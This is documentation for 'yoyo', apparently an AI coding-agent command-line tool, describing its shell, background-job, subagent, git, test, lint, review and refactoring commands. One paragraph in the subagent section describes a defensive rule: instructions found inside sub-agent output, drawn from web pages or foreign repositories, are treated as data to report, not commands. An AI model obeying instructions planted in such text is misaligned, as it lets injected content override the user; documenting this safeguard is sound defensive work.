📝 A generic serialization/deserialization framework
Modules: de, ser
Traits: Deserialize, Deserializer, Serialize, Serializer
Macros: forward_to_deserialize_any
/docs tokio task
✓ tokio::task
📦 https://docs.rs/tokio/latest/tokio/task/
📝 Asynchronous green-threads...
Shell
| Command | Description |
|---|---|
/run <cmd> | Run a shell command directly — no AI, no tokens used |
!<cmd> | Shortcut for /run |
/bg [subcmd] | Manage background shell processes |
/web <url> | Fetch a web page and display clean readable text content |
The /run command (or ! shortcut) lets you execute shell commands without going through the AI model. Useful for quick checks (e.g., !git log --oneline -5) without burning API tokens. If the command fails, yoyo shows a brief error preview and suggests asking the AI to analyze the failure or using /fix to auto-fix.
A command that backgrounds a job (!python3 -m http.server &) does not hold /run open: the job keeps running, and /run returns about 2 seconds after the shell exits, with a dim note that the job's further output is not shown. Redirect its output (server >log 2>&1 &) and /run returns at once.
Output is streamed to your terminal in full — you always see every line. The copy yoyo keeps (the one /fix and the agent read) is bounded at the first 4 KB plus the last 4 KB of each stream, so a cargo test that prints hundreds of kilobytes can't be pasted wholesale into a prompt. When output is trimmed, the stored copy says so on its own line between the two halves — e.g. /run seq 1 200000 scrolls all 200,000 lines and stores 8,284 bytes:
… [yoyo: 198374 lines / 1082328 bytes elided — /run keeps the first 4 KB and last 4 KB]
Both ends are kept because the first error usually leads and the summary usually trails.
/run ls -la src/
/run cargo test
/run git status
/bg — Background process management
The /bg command lets you launch shell commands in the background, monitor their output, and kill them when done. Useful for long-running tasks like builds, test suites, or dev servers.
| Subcommand | Description |
|---|---|
/bg run <cmd> | Launch a command in the background |
/bg list | Show all background jobs (default when no subcommand) |
/bg output <id> | Show last 50 lines of a job's output |
/bg output <id> --all | Show all captured output |
/bg kill <id> | Stop a running job (SIGTERM, 2s grace, then SIGKILL) |
/bg run cargo build --release
⚡ Background job [1] started: cargo build --release
/bg list
Background Jobs
[1] ● running 12s cargo build --release
/bg output 1
... (last 50 lines of build output)
/bg kill 1
Killed job [1]
Output is capped at 256KB per job to prevent memory issues. Jobs display colored status: green for success, red for failure, yellow for running.
A job finishes when its shell exits, even if it started something in the background that is still running (/bg run 'server & echo started'). yoyo gives the output readers two seconds to drain, then records the shell's exit code. If a background process still holds the job's output, /bg output shows the line [yoyo: the shell exited, but a background process it started still holds the output; anything it writes is appended below], and anything that process writes later is still captured below it, up to the cap. That process is not killed.
/bg kill <id> stops the job: on Linux and macOS each job runs in its own process group, and kill sends SIGTERM to the whole group, waits up to 2 seconds for it to exit (so a build, migration or trap ... TERM cleanup gets a chance to finish), then sends SIGKILL to whatever is left. The shell and anything it started (including cmd & children that are still in the group) stop together. /bg list then shows what happened: ✗ exit -15 (SIGTERM) when TERM was enough, ✗ exit -9 (SIGKILL) when it took KILL, or the job's own exit code if its TERM trap exited cleanly. That is different from a shell that exits on its own: there, a background process it started keeps running, as described above. Jobs read no terminal input (stdin is empty), and jobs still running when you quit yoyo are stopped the same way: all of them get SIGTERM, they share one 2-second grace (quitting waits about 2 seconds at most, however many jobs there are), and survivors get SIGKILL. On Windows, kill stops the shell process only.
/web — Fetch and read web pages
The /web command fetches a URL and extracts readable text content, stripping away HTML tags, scripts, styles, and navigation. This is useful for quickly pulling in documentation, error explanations, API references, or any web content without getting raw HTML.
/web https://doc.rust-lang.org/book/ch01-01-installation.html
/web docs.rs/serde
/web https://stackoverflow.com/questions/12345
Features:
- Auto-prepends
https://if you omit the protocol —/web docs.rs/serdeworks - Strips noise — removes
<script>,<style>,<nav>,<footer>,<header>, and<svg>blocks - Converts structure — headings become prominent, list items get bullets, block elements get newlines
- Decodes entities —
&,<,>,&#NNN;, , etc. - Truncates — caps output at ~5,000 characters to keep it readable
- No AI tokens used — pure curl + text extraction
Subagent & Planning
| Command | Description |
|---|---|
/plan [on|off|task] | Plan mode toggle or one-shot task plan (architect mode) |
/spawn <task> | Spawn a subagent with a fresh context to handle a task |
/side <question> | Quick question without tools — doesn't affect main conversation |
/quick <question> | Fast single-turn answer — no tools, no agent loop |
/plan — Architect mode & plan mode toggle
The /plan command has two modes:
Plan mode toggle — enter a sustained read-only mode where the agent can read, search, and analyze but won't modify files or run destructive commands:
> /plan on
📋 Plan mode ON — agent will read and think but not modify files or run commands.
Use /plan off to return to normal mode.
main 📋 🐙 ›
When plan mode is on, every message you send is prefixed with a constraint telling the agent to think and analyze without writing. The REPL prompt shows a 📋 indicator. Use /plan off (or /plan close) to return to normal operation.
One-shot planning — ask the AI to create a detailed, structured plan for a task without executing any tools. Each file the plan names includes an Approach: line stating what changes in that file and how (the function/section to touch and the nature of the edit):
> /plan add caching to the database layer
📋 Planning: add caching to the database layer
## Files to examine
- src/db.rs — current database implementation
- src/config.rs — configuration for cache TTL
## Files to modify
- src/db.rs — add cache layer
Approach: wrap `query()` in a cache lookup; add a cache field to the `Db` struct
- src/cache.rs — new file for cache implementation
Approach: add an `LruCache` struct with get/put methods
- tests/cache_test.rs — new tests
## Step-by-step approach
1. Read src/db.rs to understand current query patterns
2. Create src/cache.rs with an LRU cache struct
3. Wrap database queries with cache lookups
4. Add cache invalidation on writes
5. Add configuration for cache size and TTL
## Tests to write
- Cache hit returns cached value
- Cache miss falls through to database
- Write invalidates relevant cache entries
## Potential risks
- Cache invalidation on complex queries
- Memory pressure with large result sets
## Verification
- Run existing tests to ensure no regressions
- Run new cache tests
- Benchmark query latency before/after
💡 Review the plan above. Say "go ahead" to execute it, or refine it.
After reviewing the plan, you can:
- Say "go ahead" to have the agent execute the plan
- Ask the agent to refine specific parts ("make the cache configurable")
- Modify the approach ("use Redis instead of in-memory")
- Say "no" or change direction entirely
This is especially useful for:
- Large refactors where you want to understand the scope before committing
- Unfamiliar codebases where you want the agent to map things out first
- Trust and transparency — see the full plan before any files are modified
- Teaching moments — the plan itself teaches you about the codebase structure
Planning depth: By default /plan <task> produces a fast, broad first pass. A
non-trivial task (long, multiple deliverables, or containing implementation-verb cues
like refactor / migrate / implement / integrate / redesign) now auto-escalates to
depth — the deep per-step RED/GREEN/REFACTOR breakdown — so you don't have to know to
ask for it. When this happens you'll see a dim note:
(task looks non-trivial — planning at depth; use /plan --shallow to skip).
/plan --deep <task>— always request the deep per-step TDD structure./plan --shallow <task>— force the fast broad pass even on a big task (suppresses auto-escalation).- Auto-escalation only fires when neither flag is given, and is conservative: when unsure, it stays shallow.
Typo guard: a single word close to a known subcommand (e.g. /plan aply,
/plan statsu) gets a did-you-mean suggestion instead of being planned as a
literal task. Real one-word tasks (/plan refactor) and multi-word tasks are
never intercepted.
/spawn — Subagent
The /spawn command creates a fresh AI agent with its own independent context window, sends it your task, runs it to completion, and injects the result back into your main conversation.
This is useful for tasks that would consume a lot of context in your main session — reading large files, multi-step analysis, exploring unfamiliar code — without polluting your primary conversation history.
/spawn read all files in src/ and summarize the architecture
/spawn find all TODO comments in the codebase and list them
/spawn analyze the test coverage and suggest gaps
The subagent has access to the same tools (bash, file operations, etc.) and uses the same model. Its token usage counts toward your session total, but its context is completely separate from your main conversation. When it finishes, a summary of the task and result is injected into your main conversation so you have awareness of what was done.
Completion handoff — ready-to-review branches: spawn workers run in isolated git worktrees, and the worker's bash working directory is pinned to its worktree (relative paths and bare git commands operate there by default; this is enforced default confinement, not a sandbox — absolute paths can still reach outside). When a worker finishes successfully with uncommitted file changes in its worktree, those changes are automatically committed to the worktree branch (commit message spawn: <task description>), and the result includes a handoff line:
ready to review: branch spawn/3-1712345678 — 3 files changed (+42/-7)
review with: git diff main...spawn/3-1712345678
When the worker ran in a worktree, /spawn also prints a write tap line on stderr: how many paths changed in your main checkout, outside the worker's worktree, while it ran (e.g. write tap: 1 path changed in the main checkout outside the worker's worktree while it ran: src/lib.rs). It compares git status before and after, so it only sees paths git sees in that repo, doesn't count a file that was already modified before the run, and counts your own edits made during the run too. It is only printed for foreground /spawn, not --bg or --parallel.
The same line appears in /spawn status output for completed tasks. If the worker made no file changes, you'll see no file changes to hand off; if the commit itself fails, the failure is reported honestly and the worker's text result is still delivered without a handoff. By default nothing is pushed and no PR is opened — the branch stays local for you to review and merge. A worker's worktree is only removed when it is clean: if it still holds uncommitted work (the handoff commit failed — a rejecting pre-commit hook, commit.gpgsign with no agent, no user.email — or the hourly stale-worktree sweep finds changes) or commits on no branch, it is kept, and yoyo prints its path with git -C <path> status to inspect it and git worktree remove --force <path> to discard it when you're done.
--pr — opt-in draft PR on completion: pass --pr to have a finished handoff pushed and opened as a draft pull request:
/spawn --pr fix the flaky retry test in src/prompt_retry.rs
When the handoff commit lands, yoyo runs git push -u origin spawn/<id> and then gh pr create --draft with the task as the title and the handoff summary as the body, printing the PR URL on success. This is strictly opt-in — without the flag, behavior is unchanged.
Degradation is graceful and reported honestly, and the local branch always remains the result:
ghnot on PATH →skipped PR: gh not found(local-branch handoff line still shown)- push fails (no remote, auth, network) →
push failed: <first line of stderr> - PR creation fails after a successful push → the pushed branch is reported alongside the failure
- worker made no changes (or no handoff commit) → the PR step is skipped quietly
Replaying parallel fan-outs: every /spawn --parallel task1 --- task2 [--- task3...] run records a rerunnable manifest at .yoyo/spawn_runs/<run_id>.json capturing the tasks and their outcomes. You can discover and re-launch recorded runs:
/spawn runs # list recorded run manifests (aliases: /spawn replay --list)
/spawn replay # re-launch the most recent fan-out
/spawn replay latest # same as bare replay
/spawn replay 20260709T100000Z # re-launch a specific run by id
Replay re-launches the same task list as a fresh parallel fan-out (which records its own new manifest). Failure modes are reported honestly: no manifests yet, an unknown run id, corrupt JSON, or an empty task list each produce one clear message — never a silent no-op. Nothing replays automatically; this is explicit-invocation only.
Automatic sub-agent delegation: In addition to
/spawn, the model can autonomously delegate subtasks to a built-insub_agenttool. This happens transparently — the model decides when a subtask benefits from a fresh context window (e.g., researching a codebase section, running a series of tests). You'll see a 🐙 indicator when delegation occurs.
Sub-agent results are marked as sub-agent output. A dispatched sub-agent's text reaches the session's agent under a header naming it as sub-agent output, with the sub-agent's own words below it unchanged. A sub-agent reads whatever its subtask requires — CI logs, web pages, foreign repositories — so this boundary means text inside a sub-agent result cannot pass as the session's own instructions; instructions found in that text are data to report, not directives to obey. It is a provenance marker only: it does not sanitize the text, does not confine the sub-agent, and does not change what a sub-agent is allowed to do.
Git
| Command | Description |
|---|---|
/git status | Show working tree status (git status --short) — quick shortcut |
/git log [n] | Show last n commits (default: 5) via git log --oneline |
/git add <path> | Stage files for commit |
/git stash | Stash uncommitted changes |
/git stash pop | Restore stashed changes |
/git stash list | List all stash entries with colored output |
/git stash show [n] | Show diff of stash entry (default: latest) |
/git stash drop [n] | Drop a stash entry (default: latest) |
/commit [msg] | Commit staged changes — generates a conventional commit message if no msg provided |
/commit --amend [msg] | Amend last commit — replace message, or keep existing with --no-edit |
/diff | Show colored file summary, change stats, and full diff of uncommitted changes |
/blame <file> | Show colorized git blame output (/blame file:10-20 for line ranges) |
/undo | Revert all uncommitted changes (git checkout -- . and git clean -fd) |
/pr [number] | List open PRs (gh pr list), or view a specific PR (gh pr view <number>) |
/pr create [--draft] | Create a PR with an AI-generated title and description |
/pr <number> diff | Show the diff of a PR (gh pr diff <number>) |
/pr <number> comment <text> | Add a comment to a PR (gh pr comment <number>) |
/pr <number> checkout | Checkout a PR branch locally (gh pr checkout <number>) |
/health | Run project health checks — auto-detects project type, reports pass/fail with timing |
/test [args...] | Auto-detect and run project tests — shows output with timing; extra args are forwarded verbatim to the runner |
/lint | Auto-detect and run project linter — shows output with timing, feeds failures to agent context |
/lint pedantic | Run with pedantic clippy lints (Rust only) |
/lint strict | Run with pedantic + nursery clippy lints (Rust only) |
/lint fix | Run linter and auto-send failures to AI for fixing |
/lint unsafe | Scan for unsafe code blocks and suggest safety attributes (Rust only) |
/fix | Auto-fix build/lint errors — runs health checks, sends failures to the AI agent for fixing |
/loop <N|until-pass> <prompt> | Repeat a prompt in a polling loop — runs N times or until the last tool call succeeds |
/update | Self-update yoyo to the latest GitHub release — detects platform, downloads, replaces the binary |
The /git command is a convenience wrapper for common git operations without burning AI tokens or using /run git .... For example:
/git status # instead of /run git status --short
/git log 10 # instead of /run git log --oneline -10
/git add src/main.rs # stage a file
/git stash # stash changes
/git stash pop # restore stash
/git stash list # see all stash entries
/git stash show 1 # view diff of stash@{1}
/git stash drop 0 # drop the latest stash
The /commit command helps you commit staged changes quickly:
/commit(no arguments): reads your staged diff, generates a conventional commit message (e.g.,feat(main): add changes), and asks for confirmation — pressyto accept,nto cancel, oreto edit/commit fix: typo in README: commits directly with your provided message/commit --amend new message: amend the last commit with a new message/commit --amend: amend with staged changes — shows current message and asks to keep or edit/commit -a --amend: auto-stage tracked files and amend the last commit- If nothing is staged, it reminds you to
git addfirst
The /undo command shows you what will be reverted before doing it. If /undo --all cannot remove some untracked files (a read-only directory, say), it ends with ⚠ partially reverted: … naming each file that is still on disk, instead of ✓ reverted all uncommitted changes, and the note the model receives lists those files as not removed.
The /pr command is a quick wrapper around the GitHub CLI:
/pr— list the 10 most recent open pull requests/pr create— create a PR with an AI-generated title and description from your branch's diff and commits (on a detached HEAD it refuses and tells you to check out a branch first, e.g.git switch -c <name>)/pr create --draft— same, but as a draft PR/pr 42— view details of PR #42/pr 42 diff— show the diff for PR #42/pr 42 comment looks good!— add a comment to PR #42/pr 42 checkout— checkout PR #42's branch locally
For merging or closing PRs, use /run gh pr ... or ask the agent directly — it has full bash access.
The /health command auto-detects your project type by looking for marker files and runs the appropriate checks:
- Rust (
Cargo.toml):cargo build,cargo test,cargo clippy,cargo fmt --check - Node.js (
package.json):npm test,npx eslint . - Python (
pyproject.toml,setup.py,setup.cfg):pytest,flake8,mypy - Go (
go.mod):go build,go test,go vet - Makefile (
Makefile):make test
If no recognized project type is found, it shows a helpful message listing the marker files it looked for.
The /test command is a focused shortcut that only runs the test suite for your project (e.g., cargo test, npm test, python -m pytest, go test ./..., make test). It auto-detects the project type the same way /health does, but runs just the tests — with full output and timing. This is handy for a quick test run without the full suite of lint/build checks that /health performs.
Forwarding arguments. Anything you type after /test is appended to the detected command and passed to the runner, at both entry points — the REPL (/test --lib) and the CLI (yoyo test --lib):
> /test --lib
Detected project: Rust
Running: cargo test --lib...
The echoed Running: line always shows the full command, so you can see that your arguments reached the runner. Arguments are forwarded verbatim — yoyo does not validate them and does not translate them between project types, so --lib means whatever cargo test says it means and a flag the runner rejects surfaces as that runner's own error, not a yoyo error. With no arguments, /test behaves exactly as before.
Exit codes (CLI only). yoyo test and yoyo run <cmd> exit with the status of what they ran: 0 when it passed, the runner's or command's own exit code when it failed (1 if it was killed by a signal), and 1 when nothing could run (no recognized project, no test command, or the process could not be spawned). Bare yoyo run (no command) prints its usage line and exits 2. A script or CI step can therefore trust yoyo test's exit status. The REPL /test and /run are unchanged. More CLI subcommands report failure in their exit status: yoyo model <unknown-subcommand> exits 2 (usage error), yoyo skill show <name> exits 1 when no loaded skill has that name (or its file cannot be read), and yoyo diff, yoyo commit, yoyo blame, yoyo changelog, yoyo evolution and yoyo tree exit 1 when run outside a git repository (changelog and evolution also exit 1 when git is not installed). yoyo commit mirrors git's own exit status: it exits 1 whenever no commit was made because git refused or -a staging failed (no author identity, nothing to commit, -a with no tracked changes, a failed --amend), and 0 when the commit or amend succeeded. yoyo blame <file> also exits 1 when git cannot blame the file (a missing or untracked file prints "File not found"; an out-of-range file:L-R prints git's error), and a file name with a space works when passed as one quoted argument (yoyo blame "a b.rs"); a blame that ran still exits 0. Bare yoyo blame (no file) and a range the parser refuses (such as file:5-1) print their usage error and exit 2. yoyo diff <rev> also exits 1 when a named revision does not exist (the error goes to stderr), and yoyo lint <unknown-subcommand> exits 2 (usage error). yoyo tree <arg> and yoyo undo <arg> exit 2, like the other usage errors, when the argument is not something they accept (a depth for tree; a count, --all or --last-commit for undo; the usage line is still printed). Bare yoyo tree (inside a git repository), yoyo undo and yoyo undo 0 still exit 0. yoyo undo --last-commit exits 1 when its git revert fails (a merge commit, a conflict, no git author identity), and yoyo undo --all exits 1 when its git checkout -- . or git clean -fd fails; the error text is unchanged and a revert or clean that succeeded still exits 0. Both also exit 1 outside a git repository ("error: not in a git repository" on stderr), before reading anything, rather than reporting "nothing to undo". An empty diff, "nothing staged", a repo with no commits or tags, and a repo with no tracked files still exit 0. yoyo docs <crate> exits 1 when the crate or item is not found or docs.rs cannot be reached; bare yoyo docs (no crate) prints its usage and exits 2. And yoyo config get <key> exits 2 when the key is not a settable config key and is not in the config file. A real key that is simply unset ("using default") still exits 0. yoyo config <other> (an unknown subcommand, or set/edit, which need an interactive session) prints its refusal on stderr and exits 2; bare yoyo config and yoyo config show exit 0, except that yoyo config show exits 1 when a config file exists but cannot be read (it prints Failed to read config file … on stderr); with no config file at all it prints the defaults and still exits 0. yoyo lint and yoyo health exit 1 when no recognized project is found (nothing ran), and yoyo health takes no argument, so a stray one (yoyo health zzz) is refused with exit 2; a linter that ran and failed makes yoyo lint exit with the linter's own exit code (1 if it was killed by a signal or could not be started), and yoyo health exits 1 when any of its checks failed. A lint or health run that passed, or a project type with no lint or health command configured, still exits 0. yoyo map <path> exits 1 when the path does not exist and no project file starts with it (the error goes to stderr), and exits 2 on an unknown flag; a path that exists but has no supported source files still prints "(no supported source files with symbols found)" and exits 0. yoyo def and yoyo outline with no argument print their usage line and exit 2; a symbol or query that finds nothing still exits 0. A file name or query with a space works when passed as one quoted argument (yoyo outline "dir sp/a b.rs"). yoyo index <path> indexes only the project files under that path (before, the path was ignored and the whole current directory was indexed); a path that does not exist exits 1 with the error on stderr, a flag or a second path exits 2, and bare yoyo index or an existing directory with nothing indexable still exits 0. Bare yoyo grep prints its usage text and exits 2, like def and outline. A search with no matches still prints "No matches found." and exits 1, as grep(1), git grep and rg do; a search that could not run (a missing path, say) exits 2, and a search with matches exits 0. yoyo find with no match still exits 0, as find(1) does. yoyo extended, yoyo goal check and yoyo lint fix need an interactive session: they print their refusal, run nothing, and exit 2, the same code yoyo setup uses without a terminal. Bare yoyo goal, yoyo goal show and yoyo goal set <text> still exit 0. An unknown verb prints its usage or "unknown subcommand" text unchanged and exits 2: yoyo skill <unknown>, yoyo goal <unknown> (including yoyo goal check now), yoyo todo <unknown>, and yoyo ast with no pattern or another argument its parser refuses. yoyo skill list, bare yoyo todo and yoyo todo list, and a well-formed yoyo ast query still exit 0. Bare yoyo watch (or yoyo watch all) in a directory with no detectable lint or test command prints its "Specify one" usage text and exits 2; yoyo watch lint with no detectable lint command likewise prints its usage and exits 2; yoyo watch with a detected or explicit command, yoyo watch off and yoyo watch status still exit 0. Like yoyo run, yoyo watch with exactly one quoted argument stores it verbatim as the shell command line (yoyo watch "cargo clippy && cargo test"); two or more arguments are joined as before. yoyo status, yoyo version, yoyo permissions and yoyo security take no arguments: a stray one (such as yoyo status zzz) is refused on stderr with nothing on stdout and exit 2, while their flags (version -v, permissions --trust-project --yes) still work. yoyo evolution takes one optional number, so yoyo evolution zzz or a second number exits 2 the same way. yoyo init, yoyo doctor and yoyo update take no positional argument either: yoyo init zzz is refused the same way before anything is written, so no YOYO.md is created, and yoyo update zzz is refused before any network call; doctor --provider P --model M still works. yoyo help <command> prints that command's help (the same text as /help <command> in the REPL); an unknown topic such as yoyo help zzz exits 2, and bare yoyo help still prints the full help. yoyo memories <query> is a search, not a stray argument, and still exits 0. Any subcommand not listed here exits 0.
The /lint command is similar to /test but runs only the linter for your project. It auto-detects the project type and runs the appropriate linter:
- Rust:
cargo clippy --all-targets -- -D warnings - Node.js:
npx eslint . - Python:
ruff check . - Go:
golangci-lint run
For Rust projects, you can increase clippy's strictness:
/lint pedantic— adds-W clippy::pedanticfor stricter style checks/lint strict— adds-W clippy::pedantic -W clippy::nurseryfor maximum analysis
Strictness levels only affect Rust projects; other languages use their default linter regardless.
When lint fails, the error output is automatically fed into the agent context so you can ask the AI about the errors in your next message. For fully automated fixing, use /lint fix — this runs the linter and, if there are failures, sends them directly to the AI agent for correction (similar to /fix but lint-only).
The /fix command goes one step further than /health — it runs the same health checks, but when any check fails, it sends the full error output to the AI agent with a prompt to fix the issues. The AI reads the relevant files, understands the errors, and applies fixes using its tools. After fixing, it re-runs the checks to verify. This is particularly useful for quickly resolving lint warnings, format issues, or build errors.
/fix
Detected project: Rust (Cargo)
Running health checks...
✓ build: ok
✗ clippy: FAIL
✓ fmt: ok
Sending 1 failure(s) to AI for fixing...
/loop — Repeat a prompt in a polling loop
The /loop command runs a prompt repeatedly — either a fixed number of times or until the last tool call succeeds. This is useful for iterative fix-and-test cycles, polling checks, or any task that needs repeated attempts.
/loop 5 run the tests and fix any failures
/loop until-pass run cargo test
/loop 3 check if the server is responding
Syntax: /loop <N|until-pass> <prompt>
- N (1–100): Run the prompt exactly N times, with a 1-second pause between iterations so you can Ctrl+C to stop early.
- until-pass: Run repeatedly until the last tool call exits without error (e.g. a bash command that returns exit code 0). Safety-capped at 20 iterations.
Each iteration prints a separator showing the current iteration number. In until-pass mode, the loop also shows a success message when it stops.
/update — Self-update to latest release
The /update command checks GitHub for the latest release and downloads the new binary in-place.
/update
Update available: v0.1.5 → v0.2.0
This will download and replace the current binary.
Continue? [y/N] y
Downloading yoyo-x86_64-unknown-linux-gnu.tar.gz...
✓ Updated to v0.2.0! Please restart yoyo to use the new version.
The command:
- Detects your platform (Linux x86_64, macOS Intel/ARM, Windows x86_64)
- Creates a backup of the current binary before replacing
- Restores the backup if anything goes wrong
- Suggests manual install instructions as a fallback
If you're running a development build (from cargo build), it will suggest using cargo install yoyo-agent instead.
Code Review
| Command | Description |
|---|---|
/review | AI-powered review of staged changes (falls back to unstaged if nothing staged) |
/review <path> | AI-powered review of a specific file |
/review HEAD~3..HEAD | Review a specific commit range |
/review --pr 123 | Review a GitHub PR |
The /review command sends your code to the AI for a thorough review covering:
- Bugs — logic errors, off-by-one errors, null handling, race conditions
- Security — injection vulnerabilities, unsafe operations, credential exposure
- Style — naming, idiomatic patterns, unnecessary complexity, dead code
- Performance — obvious inefficiencies, unnecessary allocations
- Suggestions — improvements, missing error handling, better approaches
/review # review staged changes (or unstaged if nothing staged)
/review src/main.rs # review a specific file
/review Cargo.toml # review any file
Non-interactive review (CLI subcommand)
yoyo review also works as a CLI subcommand — no REPL or interactive session needed. This makes it usable in CI pipelines, git hooks, and scripts:
yoyo review # review staged/unstaged changes
yoyo review HEAD~3..HEAD # review a commit range
yoyo review --pr 42 # review a GitHub PR
yoyo review src/main.rs # review a specific file
yoyo review > review.md # pipe review to a file
The review streams to stderr for visual feedback; the final review text goes to stdout so it can be piped or redirected. Exit code is 0 on success, 1 on error.
This is one of the most common workflows for developers using coding agents — getting a second pair of eyes on your changes before committing.
Risk Analysis
| Command | Description |
|---|---|
/risk | Show the top 15 riskiest files, ranked by predicted regression risk |
/risk --all | Show all scored files, not just the top 15 |
/risk snapshot | Save the current risk ranking for later validation |
/risk validate | Check the last snapshot against files that actually changed since |
/risk history | Show past snapshots and validation results |
/risk predict | Predict which files are most likely to break next |
/risk accuracy | Show prediction accuracy, per-signal breakdown, and learned weights |
/risk effectiveness | Measure whether the risk reflex is actually improving over time |
The /risk command analyzes source files and ranks them by predicted
regression risk using weighted signals from git history: change frequency
(30-day churn), recent fix/bugfix commits, co-change coupling, file size,
author churn, test coverage mapping, and revert involvement.
The snapshot → validate loop measures prediction accuracy: run
/risk snapshot, keep coding, then /risk validate to see which predictions
were right (Precision@10) and what surprised you.
/risk effectiveness — Is the reflex learning?
/risk effectiveness answers a harder question than /risk accuracy: not
"how accurate are the predictions?" but "is the prediction loop getting
better as validation history accumulates?"
It splits your validation history chronologically into an early window (first half) and a recent window (second half), reports the event count and hit rate for each, and emits a verdict based on the delta:
- Recent hit rate ≥5 points better than early →
reflex appears to be learning ↑ - Within ±5 points →
no measurable improvement yet — need more cycles - ≥5 points worse →
reflex may be decorative ↓ — consider anticipatory signals - Fewer than 6 total validation events →
insufficient data(the split is skipped until enough history accumulates)
The report also surfaces the overall accuracy trend (the same signal shown by
/status), so the two views always agree.
Once ≥6 validation events accumulate, /status also shows a compact reflex:
line (learning ↑, flat, or decorative ↓) so the effectiveness verdict is
visible at a glance — run /risk effectiveness for the full early-vs-recent
breakdown.
/risk effectiveness # early vs recent hit rate + verdict
This is a read-only report over the local validation history in
.yoyo/risk_validations.jsonl. On a repo with no validation history it
degrades gracefully to the "insufficient data" verdict — no setup required.
Issue Revisiting
| Command | Description |
|---|---|
/revisit | Scan recently closed issues for shelved candidates |
/revisit scan | Same as above (default subcommand) |
/revisit check #N | Inspect a specific closed issue and summarize why it was shelved |
/revisit list | Show issues tracked as revisit candidates |
/revisit add #N <reason> | Mark a closed issue for future review |
/revisit remove #N | Remove an issue from the revisit list |
The /revisit command helps review closed or shelved GitHub issues that may now be feasible given new capabilities. Issues with labels like wontfix, deferred, or too-complex are highlighted as shelved candidates.
Revisit candidates are stored in .yoyo/revisit.json and persist across sessions.
If that file is damaged (a truncated write, hand-editing gone wrong), yoyo says so
and names the path instead of reporting an empty list — and /revisit add /
/revisit remove refuse to write, so the entries still in the file are never
overwritten. Fix or delete the file, then try again.
/revisit # scan recently closed issues
/revisit check #42 # inspect why issue #42 was closed
/revisit add #42 Now have better infrastructure
/revisit list # see all tracked candidates
/revisit remove #42 # stop tracking issue #42
Refactoring
| Command | Description |
|---|---|
/refactor | Show all refactoring tools with examples |
/rename <old> <new> | Cross-file symbol renaming with word-boundary matching |
/extract <symbol> <source> <target> | Move a symbol (fn, struct, enum, trait, type, const, static) between files |
/move <Src>::<method> [file::]<Dst> | Move a method between impl blocks (same file or cross-file) |
/refactor — Refactoring tools overview
The /refactor command is an umbrella that shows all available refactoring tools at a glance. Run it with no arguments to see a summary with examples:
/refactor
You can also use it as a dispatch to any refactoring subcommand:
/refactor rename MyOldStruct MyNewStruct
/refactor extract parse_config src/lib.rs src/config.rs
/refactor move Parser::validate Validator
These are equivalent to calling /rename, /extract, or /move directly — use whichever form you prefer.
/rename — Cross-file symbol renaming
The /rename command does a smart find-and-replace across all git-tracked files, respecting word boundaries (renaming foo won't change foobar or my_foo). Shows a preview of all matches, then asks for confirmation.
/rename my_func new_func
/rename OldStruct NewStruct
/extract — Move symbols between files
The /extract command moves a top-level item (function, struct, enum, impl, trait, type alias, const, or static) from one file to another. It uses brace-depth tracking to find the full block, including doc comments and attributes above the declaration.
/extract my_func src/lib.rs src/utils.rs
/extract MyStruct src/main.rs src/types.rs
/extract MyTrait src/old.rs src/new.rs
/extract MyResult src/lib.rs src/errors.rs
/extract MAX_SIZE src/config.rs src/constants.rs
The command shows a preview of the block to be moved and asks for confirmation before making changes. If the target file doesn't exist, it's created. If the symbol is public, yoyo notes that you may need to add a use import in the source file.
/move — Relocate methods between impl blocks
The /move command moves a method from one impl block to another, within the same file or across files. It extracts the method (including doc comments and attributes), re-indents it to match the target block, and inserts it before the closing }. Shows a preview and asks for confirmation.
/move MyStruct::process TargetStruct # same file
/move Parser::parse_expr other.rs::Lexer # cross-file
/move Config::validate Settings # same file
If the method uses self. references, yoyo warns you to verify that the field/method references are valid on the target type. This is a common source of bugs when relocating methods between different types.
rename_symbol — Agent-invocable rename tool
In addition to the interactive /rename REPL command, yoyo exposes a rename_symbol tool that the AI agent can call directly. This means the agent can rename symbols across files in a single tool call instead of issuing multiple edit_file calls — faster and more reliable for large refactors.
The tool accepts:
old_name(required) — the current symbol namenew_name(required) — the replacement namepath(optional) — limit scope to a specific file or directory
Like write_file and edit_file, rename_symbol asks for user confirmation before making changes (unless --yes is passed).
ask_user — Let the model ask you questions
The agent can ask you directed questions mid-task using the ask_user tool. Instead of guessing at your preferences or making assumptions, the model can pause and ask for clarification — a preference, a decision, or context that isn't available in the codebase.
This tool is only available in interactive mode (when stdin is a terminal). In piped mode, the tool is not registered — the model works with what it has.
The question appears with a ❓ prompt, and you type your response directly. If you press Enter with no text or hit EOF, the model receives a "(no response)" indicator and continues on its own.
Project Context
| Command | Description |
|---|---|
/add <path> | Add file contents into the conversation — the AI sees them immediately |
/explain <file> | Read code from a file and ask the agent to explain it |
/context [system|tokens|files] | Show project context files, system prompt sections, token budget, or files referenced in this conversation |
/find <pattern> | Fuzzy-search project files by name — respects .gitignore, ranked by relevance |
/grep <pattern> [path] | Search file contents directly — no AI, no tokens, instant results |
/def <symbol> | Find where a symbol is defined across the project — prints path:line and the source line (a small go-to-definition gesture). Code-shaped queries like foo() or self.count are accepted |
/index | Build a lightweight index of all project source files — shows path, line count, and first-line summary |
/init | Scan the project and generate a YOYO.md context file with detected build commands, key files, and project structure |
/tree [depth] | Show project directory tree (default depth: 3, respects .gitignore) |
/add — Inject file contents into conversation
The /add command reads files and injects their contents directly into the conversation as a user message. The AI sees the file immediately without needing to call read_file — similar to Claude Code's @file feature.
/add src/main.rs
📎 added src/main.rs (truncated: 200 head + 100 tail of 2286 lines)
use /add src/main.rs:START-END to add specific sections
(1 file added to conversation)
/add src/main.rs:1-50
✓ added src/main.rs (lines 1-50) (50 lines)
(1 file added to conversation)
/add src/*.rs
✓ added src/cli.rs (400 lines)
✓ added src/commands.rs (3000 lines)
✓ added src/main.rs (850 lines)
(3 files added to conversation)
/add Cargo.toml README.md
✓ added Cargo.toml (28 lines, ~350 tokens)
✓ added README.md (50 lines, ~480 tokens)
(2 files added to conversation)
Features:
- Line ranges —
/add path:start-endinjects only the specified lines - Token estimates — each added file shows an approximate token count (
~N tokens) so you can track context usage - Smart truncation — files over 500 lines are automatically truncated, preserving the head (200 lines) and tail (100 lines) with a clear omission marker. Use
/add path:start-endto inject specific sections of large files without truncation - Glob patterns —
/add src/*.rsexpands to all matching files - Multiple files —
/add file1 file2adds both in one message - Syntax highlighting — content is wrapped in fenced code blocks with language detection
- No AI tokens used for reading — the file is read locally and injected directly
This is the fastest way to give the AI context about specific files without waiting for it to call tools.
